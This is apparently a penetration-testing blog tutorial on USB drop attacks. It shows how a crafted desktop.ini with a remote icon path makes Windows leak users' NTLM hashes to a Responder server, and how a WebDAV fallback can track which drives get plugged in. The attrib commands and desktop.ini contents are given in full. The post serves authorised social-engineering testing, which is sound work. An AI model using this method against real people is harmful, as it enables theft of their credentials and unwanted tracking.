USB Drives, Desktop.ini, and NTLM hashes

Kevin Dick -

USB dropping is one of those famous 'hacker' moves from the 2000's that lives on in infamy. Although it is not our go to option during red teams and social engineering engagements, it can still prove to be a useful tool.

This post will provide on a tutorial on using desktop.ini with USB drives to:

  • Monitor and report on USB drives being plugged in using regular USB drives with stock firmware
  • Collect hashes from any user plugging in the malicious USB (when our collection server is reachable over SMB)

USB Drop Approaches

The majority of engagements we provide for our clients focus on reporting statistics on how likely their employees are to pick up and plug in a usb device. There are many approaches to this, each with their own tradeoffs. Let's review the most common.

USB Drop with File

Use a regular USB drive containing a malicious file (could be Word document with macro, pe/macho/elf, PDF, chm, etc..). Code this file to call back to your server and rely on user running it.

Pros:

  • Uses regular off the shelf USB drives
  • Malicious file can be coded to do anything you need

Cons:

  • Relies on user both plugging in the drive and also running the file.
Malicious USB Hardware

Use a USB device with custom hardware or firmware (BadUSB flashed, U3 Drives, USB Armoury, Arduino, RubberDucky, etc..) designed to emulate a human input device (HID), CD drive, or ethernet port. These can be programmed to type commands on being inserted, bypass autorun restrictions by posing as a CD drive, or MITM/backdooring web cache by acting as a network card.

Pros:

  • Doesn't require as much or any user interaction other than plugging in the drive
  • Can bypass USB storage device policies
  • Flexible payloads to meet most needs

Cons:

  • Devices can be expensive
  • require custom casing to look legitimate
  • Sometimes significant time to standup and provision each device
Another Option

Although these methods are reasonably effective, we sought something of a compromise between these two methods for our purposes. We needed a method that allowed us to use off the shelf USBs that we don't mind losing, but without the pain of flashing and provisioning them with custom firmware.

After researching a bit, we stumbled across this blog post: https://www.coresecurity.com/blog/building-a-usb-drop-attack. This post essentially covers the USB drop with malicious file method, but it was a comment from the unverifiable 'John' that provided the method we were looking for.

USB Drop With Desktop.ini

As John reveals, making a callback is as simple as including a desktop.ini file with a link to our collection server. Not only that, but Windows will negotiate NTLM authentiction with this URL, allowing us to collect the hash of the user connecting the drive.

Desktop.ini?

Desktop.ini is just a file that windows creates automatically when you customize folder icons, or other settings. It stores these settings in desktop.ini. We can leverage this to tell windows that the folders icon is hosted on a remote share, causing explorer to load the remote resource, and attempt to authenticate to it.

Prepping the Drive

Create a folder on the drive to place your desktop.ini. The desktop.ini needs to be in a folder to take effect, not in the root of the drive. You can name the folder something not suspicious like 'documents', 'finance', 'movies', or 'no malware in here'.

Prep the folder

Windows won't just load the desktop.ini of any old folder, you need to make the folder a 'system' folder first. This can be done easily with command line. Ensure you switch to the drive you are targeting first.

attrib +s <path_to_folder>

Next, create a desktop.ini file in your newly created folder. Place the following lines into the file. This tells windows to find the icon at the specified resource

[.ShellClassInfo]
IconResource=\\<your_ip>\test.ico,0

We need to now also set desktop.ini to be hidden and system before windows will respect it.

attrib +s +h desktop.ini
Collecting Hashes

Collecting hashes is as simple as running Responder on the IP you've pointed desktop.ini at. Once a user plugs in the usb drive and views it, the desktop.ini of the folders of the drive should kick off.


And just like that, we are collecting hashes. Not only have we recorded the username and IP of the user that picked up and plugged in the drive, we also have their hash.

Well cool, but I don't have SMB outbound...

Most clients don't allow things like SMB outbound nowadays. Usually, a web proxy is going to be the only easy way out for most user lans. Luckily for us, Microsoft is happy to oblige by automatically falling back to WebDav if explorer cant hit the resource over SMB.

After Failing to negotiate SMB, Microsoft's WebDav MiniRedir client kicks in to seamlessly connect to the resource via WebDav.

Unfortunately, MiniRedir refuses to use NTLM auth on sites outside the trusted zone. It ignores the server's attempts to start NTLM auth:

Any Ideas?

We have been working to coerce MiniRedir to connect over NTLM to responder, or other services, with no luck so far. We have been testing on Windows 10. Let us know in the comments if we've missed a method here for getting NTLM handshakes over HTTP with MiniRedir

This is still fine for our reporting use case

We can use the WebDav HTTP connections to report on when drives are connected, allowing the reporting use case to work in almost all environments.

We customize desktop.ini on all USBs with a unique ID

[.ShellClassInfo]
IconResource=\\<web_server>\test.ico?usbid=23,0

Which then causes windows to call to our webserver with the provided parameter

Reporting in Practice

We've integrated this into our larger social engineering platform, having desktop.ini send client, campaign, and usb GUIDs to be stored in the database. Using GUIDs and checking against known clients/campaigns is a good idea to avoid random garbage from the internet filling up your db.

We will work towards releasing a public version of this platform after polishing some of the rougher edges of the UI, but unfortunately can't share code to help you out here at this time. In the meantime, creating SET module or even just spinning up a simple webserver logging to a file should be an easy enough task to handle and log these requests for reporting to clients.

In Closing

Desktop.ini is an effective method for collecting hashes locally, or on less restrictive networks, and is great for clients that just want reports on who plugged in USB drives and when. We look forward to any progress on coercing MiniRedir to send hashes, and will update this post with lessons learned as we use this method on engagements.

Let us know in the comments if you have any success with this method, or better methods that we've missed :]